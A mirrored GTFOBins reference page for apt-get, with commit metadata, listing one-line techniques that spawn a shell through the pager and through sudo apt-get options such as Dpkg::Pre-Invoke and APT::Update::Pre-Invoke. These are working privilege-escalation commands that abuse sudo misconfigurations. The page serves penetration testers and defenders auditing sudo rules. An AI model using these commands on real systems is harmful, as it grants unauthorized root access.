GTFOBins.github.io/apt-get.md at e05b154647c59987188e61454ff75b98786005c0

mirror/GTFOBins.github.io

mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Andrea Cardaci 21f760676c Add alternative apt* shell technique

Thanks to
https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/

Also related to #38.

2019-01-21 16:28:20 +01:00

790 B

Raw Blame History

functions

shell

sudo

description	code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.	apt-get changelog apt !/bin/sh

description	code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.	sudo apt-get changelog apt !/bin/sh

description	code
For this to work the target package (e.g., `sl`) must not be installed.	TF=$(mktemp) echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF sudo apt-get install -c $TF sl

description	code
When the shell exits the `update` command is actually executed.	sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

790 B Raw Blame History

790 B

Raw Blame History